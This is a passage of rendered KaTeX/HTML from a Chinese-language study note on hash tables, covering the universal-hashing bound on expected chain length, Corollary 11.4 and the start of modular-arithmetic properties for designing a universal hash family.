class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，并且 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mo stretchy="false">{</mo><mi>l</mi><mo>∈</mo><mi>T</mi><mo separator="true">,</mo><mi>l</mi><mo mathvariant="normal">≠</mo><mi>k</mi><mo stretchy="false">}</mo><mi mathvariant="normal">∣</mi><mo>=</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">| \{l \in T, l \ne k\}| = n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mopen">{</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">}</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，于是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo stretchy="false">[</mo><msub><mi>n</mi><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow></msub><mo stretchy="false">]</mo><mo>=</mo><mi>E</mi><mo stretchy="false">[</mo><msub><mi>Y</mi><mi>k</mi></msub><mo stretchy="false">]</mo><mo>≤</mo><mi>n</mi><mi mathvariant="normal">/</mi><mi>m</mi><mo>=</mo><mi>α</mi></mrow><annotation encoding="application/x-tex">E[n_{h(k)}] = E[Y_k] \le n / m = \alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1052em;vertical-align:-0.3552em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span></p></li><li><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>∈</mo><mi>T</mi></mrow><annotation encoding="application/x-tex">k \in T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span>，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>n</mi><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow></msub><mo>=</mo><msub><mi>Y</mi><mi>k</mi></msub><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n_{h(k)} = Y_k + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7858em;vertical-align:-0.3552em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Y</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex">Y_k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的条件是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi><mo mathvariant="normal">≠</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">l \ne k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 不包括 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，于是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo stretchy="false">[</mo><msub><mi>n</mi><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow></msub><mo stretchy="false">]</mo><mo>=</mo><mi>E</mi><mo stretchy="false">[</mo><msub><mi>Y</mi><mi>k</mi></msub><mo stretchy="false">]</mo><mo>+</mo><mn>1</mn><mo>≤</mo><mo stretchy="false">(</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mi>m</mi><mo>+</mo><mn>1</mn><mo>=</mo><mn>1</mn><mo>+</mo><mo stretchy="false">(</mo><mi>α</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mi>m</mi><mo>&lt;</mo><mi>α</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">E[n_{h(k)}] = E[Y_k] + 1 \le (n - 1)/m +1 = 1 + (\alpha-1) / m \lt \alpha +1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1052em;vertical-align:-0.3552em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord">/</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></p></li></ul><p>综上所述可以得出，在利用有限散列函数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="script">H</mi></mrow><annotation encoding="application/x-tex">\mathcal{H}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathcal" style="margin-right:0.00965em;">H</span></span></span></span> 时，对于恶意选中的子集，映射到哈希表上，依旧可以保证链表期望长度不会达到最坏运行时 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>。</p><blockquote><p>之前的两种方法要求选中的子集是随机的，全域散列不需要</p></blockquote><hr /><blockquote><p>推论 11.4 对于一个具有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 个槽位且初始时为空的表，利用全域散列法和链接法解决冲突，需要 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span> 的期望时间来处理任何包含了 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个 INSERT、SEARCH 和 DELETE 的操作序列，其中该序列包含了 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(m)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 个 INSERT 操作。</p></blockquote><p>首先有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(m)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span> 个 INSERT 操作说明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><mi>m</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">n = O(m)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">m</span><span class="mclose">)</span></span></span></span>，所以有负载因子 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\alpha = O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。INSERT 和 DELETE 操作都需要 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span> 时间。根据上面的证明，SEARCH 的期望时间复杂度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>α</mi><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\alpha + 1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>，代入 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>，所以加起来为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span> 的期望时间。</p><h4 id="designing-a-universal-class-of-hash-functions"><a class="markdownIt-Anchor" href="#designing-a-universal-class-of-hash-functions"></a> Designing a universal class of hash functions</h4><blockquote><p>模运算：已知 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>≡</mo><mi>y</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">x \equiv y \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span>，有</p><p>线性运算性质：</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>±</mo><mi>c</mi><mo>≡</mo><mi>y</mi><mo>±</mo><mi>c</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">x \pm c \equiv y \pm c \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">±</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">±</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>z</mi><mo>≡</mo><mi>y</mi><mi>z</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">xz \equiv yz \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.04398em;">z</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.04398em;">yz</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></li></ul><p>分配律：</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo>+</mo><mi>b</mi><mo stretchy="false">)</mo><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>p</mi><mo>=</mo><mo stretchy="false">(</mo><mo stretchy="false">(</mo><mi>a</mi><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo><mo>+</mo><mo stretchy="false">(</mo><mi>b</mi><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">(a + b) \bmod p = ((a \bmod p) + (b \bmod p)) \bmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">((</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" 